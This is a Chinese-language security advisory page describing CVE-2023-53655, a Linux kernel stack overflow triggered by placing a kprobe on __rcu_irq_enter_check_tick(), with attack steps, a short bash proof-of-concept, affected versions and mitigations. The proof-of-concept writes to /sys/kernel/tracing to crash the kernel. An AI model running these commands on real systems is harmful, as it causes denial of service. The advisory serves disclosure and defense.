IPBUF安全漏洞报告
English
CVE-2023-53655 CVSS 5.5 中危

CVE-2023-53655 Linux内核RCU子系统kprobe栈溢出漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53655
漏洞类型
栈溢出/拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelRCU栈溢出拒绝服务kprobe内核漏洞CVE-2023-53655本地提权ARM64内核崩溃

漏洞概述

CVE-2023-53655是Linux内核RCU(Read-Copy-Update,读拷贝更新)子系统中存在的一个栈溢出漏洞。该漏洞位于内核函数`__rcu_irq_enter_check_tick()`中,当用户通过kprobes机制在该函数上注册探测点时,会导致内核栈发生无限递归调用,最终引发栈溢出并导致内核崩溃(Kernel Panic)。

该漏洞的触发条件相对简单:攻击者只需在启用了CONFIG_NO_HZ_FULL配置项的系统上,通过/sys/kernel/tracing/接口注册一个针对`__rcu_irq_enter_check_tick()`函数的kprobe,即可触发内核栈溢出。由于该函数在中断处理和RCU状态切换过程中会被频繁调用,kprobe的断点异常处理会再次进入该函数,形成递归调用链,最终耗尽内核栈空间。

该漏洞的影响范围涵盖多个Linux内核稳定版本,包括6.2.0-rc2等版本。漏洞的CVSS评分为5.5,属于中危级别。虽然该漏洞需要本地低权限访问才能利用,但其高可用性影响(导致系统完全崩溃)使其成为一个值得关注的安全问题。内核开发者通过将`__rcu_irq_enter_check_tick()`函数添加到kprobes黑名单(使用NOKPROBE_SYMBOL()宏)来修复此问题。

技术细节

从技术层面分析,该漏洞的根本原因在于`__rcu_irq_enter_check_tick()`函数被设计为在中断进入路径中被频繁调用,特别是在启用了CONFIG_NO_HZ_FULL(无hz全模式)的情况下。当用户通过kprobes子系统在该函数上注册探测点时,每次执行到该函数的入口处,CPU会触发一个调试异常(BRK指令,AArch64架构下)。

调试异常处理函数`el1_dbg`会调用`arm64_enter_el1_dbg`,进而调用`ct_nmi_enter`,最终再次到达`__rcu_irq_enter_check_tick()`函数。由于kprobe断点仍然存在,这会形成无限递归调用链:

1. 用户代码执行到`__rcu_irq_enter_check_tick()`
2. CPU检测到kprobe断点,触发BRK异常
3. 异常处理程序el1_dbg被调用
4. 异常处理路径再次执行到`__rcu_irq_enter_check_tick()`
5. 再次触发BRK异常
6. 循环往复,直到内核栈耗尽

从崩溃日志中可以看到,调用栈反复出现`__rcu_irq_enter_check_tick -> arm64_enter_el1_dbg -> el1_dbg -> el1h_64_sync_handler -> el1h_64_sync`的循环,最终内核报告"Insufficient stack space to handle exception!"并触发Kernel Panic。

修复方案是使用`NOKPROBE_SYMBOL()`宏将该函数标记为不允许kprobe探测,这样内核在编译时会在该函数的入口处放置一个特殊的标记,kprobes子系统在注册时会检测到该标记并拒绝注册,从而防止递归调用的发生。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在内核启用了CONFIG_NO_HZ_FULL配置项的系统上进行操作,且系统启动参数中需要包含'nohz_full='参数。攻击者还需要对/sys/kernel/tracing/目录具有写权限(通常需要root权限或CAP_SYS_ADMIN能力)。
STEP 2
步骤2:注册kprobe
攻击者通过向/sys/kernel/tracing/kprobe_events文件写入'p:mp1 __rcu_irq_enter_check_tick'命令,在目标函数`__rcu_irq_enter_check_tick()`上注册一个kprobe探测点。
STEP 3
步骤3:启用kprobe触发漏洞
攻击者执行'echo 1 > events/kprobes/enable'命令启用kprobe。此后,当内核执行到该函数时,会触发BRK调试异常。
STEP 4
步骤4:递归调用导致栈溢出
每次进入`__rcu_irq_enter_check_tick()`函数时,kprobe断点触发BRK异常,异常处理路径再次执行到该函数,形成无限递归调用链,最终耗尽内核栈空间。
STEP 5
步骤5:内核崩溃
当内核栈空间耗尽时,系统报告'kernel stack overflow'错误并触发Kernel Panic,导致系统完全不可用,拒绝服务攻击成功。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2023-53655 PoC - Linux Kernel RCU kprobe Stack Overflow # This PoC triggers a kernel stack overflow by registering a kprobe # on __rcu_irq_enter_check_tick() function. # # Prerequisites: # 1. Kernel compiled with CONFIG_NO_HZ_FULL=y # 2. Boot parameter "nohz_full=" must be set # 3. User needs write access to /sys/kernel/tracing/ #!/bin/bash # Step 1: Navigate to the tracing directory cd /sys/kernel/tracing/ # Step 2: Register a kprobe on the vulnerable function echo 'p:mp1 __rcu_irq_enter_check_tick' >> kprobe_events # Step 3: Enable the kprobe - this triggers the stack overflow echo 1 > events/kprobes/enable # After executing the above commands, the kernel will panic # with "kernel stack overflow" error message. # # Expected crash output: # Insufficient stack space to handle exception! # ESR: 0x00000000f2000004 -- BRK (AArch64) # Kernel panic - not syncing: kernel stack overflow

影响范围

Linux Kernel 6.2.0-rc2
Linux Kernel < 6.2 (stable分支)
Linux Kernel < 6.1 (stable分支)
Linux Kernel < 5.15 (stable分支)
Linux Kernel < 5.10 (stable分支)

防御指南

临时缓解措施
作为临时缓解措施,建议采取以下方案:1)如果系统不需要无hz全模式(NO_HZ_FULL),可以在内核配置中禁用CONFIG_NO_HZ_FULL选项后重新编译内核;2)限制对/sys/kernel/tracing/目录的访问权限,确保只有root用户或具有CAP_SYS_ADMIN能力的进程才能注册kprobe;3)通过Linux安全模块(如SELinux、AppArmor)限制非特权用户对tracing接口的访问;4)监控系统日志,及时发现异常的kprobe注册行为并采取响应措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表